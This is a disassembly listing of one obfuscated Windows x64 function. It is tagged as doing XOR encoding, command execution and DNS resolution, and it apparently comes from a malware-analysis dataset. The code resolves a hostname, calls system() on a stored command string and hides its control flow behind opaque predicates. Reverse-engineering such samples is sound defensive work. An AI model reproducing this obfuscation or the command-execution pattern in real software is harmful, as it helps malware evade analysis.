Function at 0x1400726e0
Capabilities:
Encode data using xor
Execute command
Resolve dns

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x68]
call sub.msvcrt.dll_strlen
cmp rax, 0xff
jbe 0x140072770
mov eax, dword [0x140106ab8]
and eax, dword [0x140106abc]
sub eax, 0x3c8227d2
imul eax, eax, 0xb0f756b1
sub eax, 0x2adba759
cmp eax, 0x73d5420a
jbe 0x140072f80
mov eax, dword [0x140106ac0]
imul eax, dword [0x140106ac4]
imul eax, eax, 0xf5faf39d
sub eax, 0x31fbc52a
add eax, 0x968d310f
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 0xff], 0
cmp eax, 0xffa5a7f2
ja 0x140072f80
jmp 0x140072770
mov eax, dword [0x140106ac8]
or eax, dword [0x140106acc]
imul eax, eax, 0xb8a63043
mov ecx, 0xe7613ba2
xor edx, edx
div ecx
mov ecx, 0x2d98dbc9
xor edx, edx
div ecx
cmp eax, 0x2abd3951
je 0x140072f91
mov eax, dword [0x140106ad0]
or eax, dword [0x140106ad4]
sub eax, 0x3fa8d828
or eax, 0xe24e076e
add eax, 0x63657665
mov dword [rsp + 0x60], 0
cmp eax, 0xe81407b6
jae 0x14007279f
jmp 0x1400727d2
mov rax, qword [rsp + 0x68]
movsxd rcx, dword [rsp + 0x60]
cmp byte [rax + rcx], 0
je 0x140072a68
mov eax, dword [0x140106ad8]
xor edx, edx
div dword [0x140106adc]
add eax, 0x7d0da480
sub eax, 0xa5cd2b8
xor eax, 0x397ff62b
cmp eax, 0xbeb6ecd0
ja 0x140072f9e
mov eax, dword [0x140106ae0]
xor eax, dword [0x140106ae4]
add eax, 0x974b565d
mov ecx, 0xe75c5cc8
xor edx, edx
div ecx
imul eax, eax, 0x3b70f4c0
mov rcx, qword [rsp + 0x68]
movsxd rdx, dword [rsp + 0x60]
movzx ecx, byte [rcx + rdx]
cmp ecx, 0x2e
sete cl
mov byte [rsp + 0x47], cl
cmp eax, 0x7a884045
je 0x14007280e
mov al, byte [rsp + 0x47]
test al, 1
jne 0x140072862
jmp 0x140072934
mov eax, dword [0x140106ae8]
xor eax, dword [0x140106aec]
add eax, 0x6c75e5eb
sub eax, 0x8e115358
mov ecx, 0xdb937f4d
xor edx, edx
div ecx
cmp eax, 0xe643fbe0
je 0x140072fa3
mov eax, dword [0x140106af0]
imul eax, dword [0x140106af4]
or eax, 0x97ea3b9e
imul eax, eax, 0xf2a70b62
mov ecx, 0x78eacfb3
xor edx, edx
div ecx
mov ecx, dword [rsp + 0x5c]
add ecx, 1
mov dword [rsp + 0x5c], ecx
cmp ecx, 3
setg cl
mov byte [rsp + 0x46], cl
cmp eax, 0xbc5584e2
je 0x140072fa3
mov al, byte [rsp + 0x46]
test al, 1
jne 0x1400728de
jmp 0x1400728e3
jmp 0x140072a68
mov eax, dword [0x140106af8]
xor eax, dword [0x140106afc]
add eax, 0x9f789965
and eax, 0x7ec9e264
or eax, 0x33da5dde
cmp eax, 0x8d8f4d7c
ja 0x140072fb3
mov eax, dword [0x140106b00]
and eax, dword [0x140106b04]
sub eax, 0x1b82f204
or eax, 0xa778d324
and eax, 0x4d5eec16
cmp eax, 0x4f3d8c24
ja 0x140072909
jmp 0x140072a07
mov rax, qword [rsp + 0x68]
movsxd rcx, dword [rsp + 0x60]
movzx eax, byte [rax + rcx]
cmp eax, 0x30
jl 0x140072962
mov rax, qword [rsp + 0x68]
movsxd rcx, dword [rsp + 0x60]
movzx eax, byte [rax + rcx]
cmp eax, 0x39
jle 0x1400729b5
mov eax, dword [0x140106b08]
add eax, dword [0x140106b0c]
add eax, 0x849c35f2
add eax, 0x8cec2fa5
and eax, 0x4f1d8b9a
cmp eax, 0xf46c0617
ja 0x140072fb8
mov eax, dword [0x140106b10]
or eax, dword [0x140106b14]
imul eax, eax, 0xb76633eb
xor eax, 0x3730c64e
imul eax, eax, 0x8c45a43f
cmp eax, 0x1836bbfb
ja 0x140072fb8
jmp 0x140072a68
mov eax, dword [0x140106b18]
and eax, dword [0x140106b1c]
and eax, 0xf2f290ec
and eax, 0xa6b6f9bc
xor eax, 0x87e02635
cmp eax, 0xb3f0ef3d
jae 0x140072fbd
mov eax, dword [0x140106b20]
and eax, dword [0x140106b24]
imul eax, eax, 0x54c9f799
and eax, 0xe6576de1
sub eax, 0xc6cc5255
cmp eax, 0xc142e304
jae 0x1400729db
jmp 0x140072a07
mov eax, dword [0x140106b28]
xor eax, dword [0x140106b2c]
sub eax, 0x2b500e82
and eax, 0xf2f9900c
imul eax, eax, 0x78cee629
cmp eax, 0x20a84b42
je 0x140072fc2
mov eax, dword [0x140106b30]
add eax, dword [0x140106b34]
and eax, 0x82b22c23
xor eax, 0xc256d33f
mov ecx, 0xb454e8c5
xor edx, edx
div ecx
mov ecx, dword [rsp + 0x60]
add ecx, 1
mov dword [rsp + 0x60], ecx
cmp eax, 0x56542b77
ja 0x140072fc2
jmp 0x1400727d2
mov eax, dword [0x140106b38]
or eax, dword [0x140106b3c]
imul eax, eax, 0xcae423e2
add eax, 0x659ff50a
and eax, 0x91900614
cmp eax, 0xe5276e3
jae 0x140072fd2
mov eax, dword [0x140106b40]
imul eax, dword [0x140106b44]
imul eax, eax, 0xb879e362
or eax, 0xfbc323e5
mov ecx, 0xa51a1b3f
xor edx, edx
div ecx
mov rcx, qword [rsp + 0x68]
movsxd rdx, dword [rsp + 0x60]
cmp byte [rcx + rdx], 0
setne cl
mov byte [rsp + 0x45], cl
cmp eax, 0xffd10b33
ja 0x140072fd2
mov al, byte [rsp + 0x45]
test al, 1
jne 0x140072b1b
jmp 0x140072ae1
cmp dword [rsp + 0x5c], 3
jne 0x140072b1b
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x64]
xor eax, eax
mov r8d, eax
call fcn.1400720c0
cmp eax, 4
jne 0x140072b16
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x74], eax
jmp 0x140072f22
jmp 0x140072b1b
mov rax, qword [0x140122570]
mov qword [rsp + 0x48], rax
cmp rax, 0
je 0x140072d14
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov ecx, 2
lea r8, [rsp + 0x64]
call rax
cmp eax, 0
je 0x140072baf
mov eax, dword [0x140106b48]
or eax, dword [0x140106b4c]
add eax, 0x783181a9
and eax, 0x9409b3d9
xor eax, 0xdfed7ea6
cmp eax, 0xa2d27098
jb 0x140072fd7
mov eax, dword [0x140106b50]
xor edx, edx
div dword [0x140106b54]
or eax, 0x5d9b9c69
xor eax, 0x25f697ed
mov ecx, 0x687b1d96
xor edx, edx
div ecx
mov ecx, dword [rsp + 0x64]
mov dword [rsp + 0x74], ecx
cmp eax, 0x334c2e6c
je 0x140072fd7
jmp 0x140072f22
cmp qword [0x140105e80], 0
je 0x140072c29
mov eax, dword [0x140106b58]
or eax, dword [0x140106b5c]
imul eax, eax, 0x608b4f65
add eax, 0x10e9272
imul eax, eax, 0x97fc73a7
cmp eax, 0xcc371c
je 0x140072fe4
mov eax, dword [0x140106b60]
imul eax, dword [0x140106b64]
or eax, 0x46fc8120
mov ecx, 0xc40cfa67
xor edx, edx
div ecx
or eax, 0x74246b3d
mov dword [rsp + 0x40], eax
mov rcx, qword [0x140105e80]
call sub.msvcrt.dll_system
mov eax, dword [rsp + 0x40]
cmp eax, 0x80e264ab
je 0x140072be5
jmp 0x140072c29
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov ecx, 2
lea r8, [rsp + 0x64]
call rax
cmp eax, 0
je 0x140072cab
mov eax, dword [0x140106b68]
xor edx, edx
div dword [0x140106b6c]
xor eax, 0xf165ac01
and eax, 0xf710ab6b
or eax, 0xccf5d0da
cmp eax, 0xf5084b6d
jbe 0x140072ff5
mov eax, dword [0x140106b70]
add eax, dword [0x140106b74]
and eax, 0x195e2c94
sub eax, 0xb5f029b7
sub eax, 0xde5f0e9
mov ecx, dword [rsp + 0x64]
mov dword [rsp + 0x3c], ecx
cmp eax, 0x30b48234
jbe 0x140072ff5
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x38], eax
jmp 0x140072d07
mov eax, dword [0x140106b78]
add eax, dword [0x140106b7c]
and eax, 0xb9224622
xor eax, 0x72e9e499
imul eax, eax, 0x201345d4
cmp eax, 0x1f75c811
jb 0x140072ffa
mov eax, dword [0x140106b80]
or eax, dword [0x140106b84]
mov ecx, 0xc9a0ac26
xor edx, edx
div ecx
and eax, 0x7d438b26
and eax, 0x511d3281
cmp eax, 0xeea1cdb2
je 0x140072cd2
xor eax, eax
mov dword [rsp + 0x38], eax
jmp 0x140072d07
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x74], eax
jmp 0x140072f22
mov eax, dword [0x140106b88]
xor edx, edx
div dword [0x140106b8c]
add eax, 0xd9708862
sub eax, 0x185dfca3
add eax, 0xae6f4c26
cmp eax, 0x15fb5aa3
je 0x140072fff
mov eax, dword [0x140106b90]
or eax, dword [0x140106b94]
imul eax, eax, 0xda573223
imul eax, eax, 0x519ac39b
imul eax, eax, 0x7b7ff0f4
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rax
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0x50], rcx
cmp qword [rsp + 0x50], 0
setne cl
mov byte [rsp + 0x37], cl
cmp eax, 0x4b3c809c
jbe 0x140072d3c
mov al, byte [rsp + 0x37]
test al, 1
jne 0x140072e2b
jmp 0x140072d9e
mov eax, dword [0x140106b98]
and eax, dword [0x140106b9c]
and eax, 0xd2aef3f3
imul eax, eax, 0x7b104c
or eax, 0x14e5d57f
cmp eax, 0xfc5d86d4
ja 0x140073014
mov eax, dword [0x140106ba0]
sub eax, dword [0x140106ba4]
mov ecx, 0xb5e0f651
xor edx, edx
div ecx
add eax, 0x84cc2d1e
xor eax, 0x81bbb5d5
cmp qword [0x140105e80], 0
setne cl
mov byte [rsp + 0x2f], cl
cmp eax, 0xdade5889
je 0x140073014
mov al, byte [rsp + 0x2f]
test al, 1
jne 0x140072e0f
jmp 0x140072e2b
mov rcx, qword [0x140105e80]
call sub.msvcrt.dll_system
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x50], rax
mov eax, dword [0x140106ba8]
or eax, dword [0x140106bac]
mov ecx, 0x1606a767
xor edx, edx
div ecx
xor eax, 0x7f1fc270
xor eax, 0x4f92e862
cmp eax, 0xa56f8fa6
je 0x140073019
mov eax, dword [0x140106bb0]
imul eax, dword [str.Z_8_]
or eax, 0xc6bdab62
xor eax, 0xd1f71435
or eax, 0x832e8fe3
cmp qword [rsp + 0x50], 0
setne cl
mov byte [rsp + 0x2e], cl
cmp eax, 0x44936074
jb 0x140072e55
mov al, byte [rsp + 0x2e]
test al, 1
jne 0x140072e9a
jmp 0x140072f07
mov eax, dword [0x140106bb8]
xor edx, edx
div dword [0x140106bbc]
xor eax, 0xebe34941
and eax, 0xe4c34e5a
and eax, 0x2d5b6be9
cmp eax, 0x5be81f21
jae 0x14007301e
mov eax, dword [0x140106bc0]
or eax, dword [0x140106bc4]
xor eax, 0x28888c7e
add eax, 0x467377cd
xor eax, 0x1869946e
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov dword [rsp + 0x28], ecx
cmp eax, 0x9ed6de43
je 0x14007301e
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x24], eax
jmp 0x140072f12
xor eax, eax
mov dword [rsp + 0x24], eax
jmp 0x140072f12
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x74], eax
mov eax, dword [0x140106bc8]
add eax, dword [0x140106bcc]
sub eax, 0xb46414dd
xor eax, 0xaa56fb6e
or eax, 0xa0c68a0a
cmp eax, 0xd87e4ba2
jb 0x140073023
mov eax, dword [0x140106bd0]
add eax, dword [0x140106bd4]
sub eax, 0x1d075d90
or eax, 0x8797bdac
imul eax, eax, 0xc5b7bad9
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0x20], ecx
cmp eax, 0xbf7f1e71
je 0x140073023
mov eax, dword [rsp + 0x20]
add rsp, 0x78
ret
mov rax, qword [rsp + 0x68]
mov byte [rax + 0xff], 0
jmp 0x140072737
mov dword [rsp + 0x60], 0
jmp 0x14007279f
jmp 0x14007280e
mov eax, dword [rsp + 0x5c]
add eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x14007288c
jmp 0x140072909
jmp 0x140072988
jmp 0x1400729db
mov eax, dword [rsp + 0x60]
add eax, 1
mov dword [rsp + 0x60], eax
jmp 0x140072a2e
jmp 0x140072a8f
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x74], eax
jmp 0x140072b76
mov rcx, qword [0x140105e80]
call sub.msvcrt.dll_system
jmp 0x140072be5
jmp 0x140072c70
jmp 0x140072cd2
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x50], rax
jmp 0x140072d3c
jmp 0x140072dc5
jmp 0x140072e55
jmp 0x140072ec2
jmp 0x140072f48